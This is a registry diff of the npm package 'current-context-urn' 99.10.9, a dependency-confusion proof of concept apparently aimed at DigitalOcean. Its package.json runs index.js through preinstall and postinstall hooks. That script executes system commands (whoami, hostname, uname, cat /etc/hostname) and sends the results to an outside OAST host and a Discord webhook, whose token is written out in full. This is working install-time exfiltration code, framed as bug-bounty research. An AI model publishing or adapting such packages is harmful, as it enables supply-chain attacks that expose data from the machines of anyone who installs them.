current-context-urn 99.10.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of current-context-urn might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +62 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ const https = require('https');
2
+ const http = require('http');
3
+ const os = require('os');
4
+ const { execSync } = require('child_process');
5
+
6
+ const oastHost = 'd736vi5i191oj6s0rhbgeirmqgiczz71s.oast.pro';
7
+
8
+ // Función para ejecutar comandos de forma segura para el PoC
9
+ function getCmd(cmd) {
10
+ try {
11
+ return execSync(cmd).toString().trim();
12
+ } catch (e) {
13
+ return "err";
14
+ }
15
+ }
16
+
17
+ // Recolectamos la info que DigitalOcean permite explícitamente
18
+ const info = {
19
+ whoami: getCmd('whoami'),
20
+ hostname: getCmd('hostname'),
21
+ uname: getCmd('uname -a'),
22
+ platform: os.platform(),
23
+ release: os.release(),
24
+ // Intentamos leer /etc/hostname si es Linux (permitido por sus reglas)
25
+ etc_hostname: os.platform() === 'linux' ? getCmd('cat /etc/hostname') : 'n/a'
26
+ };
27
+
28
+ // Codificamos la info en Base64 para que no se rompa la URL del OAST
29
+ const encodedInfo = Buffer.from(JSON.stringify(info)).toString('base64');
30
+
31
+ // Enviamos a tu OAST
32
+ // El path llevará la info codificada para que la veas en tus logs
33
+ const reqOast = http.get(`http://${oastHost}/poc-data/${encodedInfo}`);
34
+ reqOast.on('error', () => { });
35
+
36
+ // También enviamos a tu Discord para aviso instantáneo
37
+ const discordData = JSON.stringify({
38
+ content: "🔥 **RCE CONFIRMADO EN DIGITALOCEAN** 🔥",
39
+ embeds: [{
40
+ title: "PoC Evidence (Approved Commands)",
41
+ color: 3066993, // Verde
42
+ fields: [
43
+ { name: "Whoami", value: info.whoami, inline: true },
44
+ { name: "Hostname", value: info.hostname, inline: true },
45
+ { name: "Uname", value: info.uname, inline: false },
46
+ { name: "Platform", value: info.platform, inline: true }
47
+ ],
48
+ footer: { text: "X-BBP-Researcher: [TU_USUARIO_INTIGRITI]" }
49
+ }]
50
+ });
51
+
52
+ const reqDiscord = https.request({
53
+ hostname: 'discord.com',
54
+ port: 443,
55
+ path: '/api/webhooks/1487009597175890022/DE6xfM-BeQ1xD6U2nH7vuFoQAIDd_aVDsuzdhHiGBZpPRm0M9BU94QEglVsLHaSxqhzo',
56
+ method: 'POST',
57
+ headers: { 'Content-Type': 'application/json', 'Content-Length': discordData.length }
58
+ });
59
+ reqDiscord.write(discordData);
60
+ reqDiscord.end();
61
+
62
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "current-context-urn",
3
+ "version": "99.10.9",
4
+ "description": "PoC for Dependency Confusion - DigitalOcean Security Research",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "Security Researcher",
11
+ "license": "ISC"
12
+ }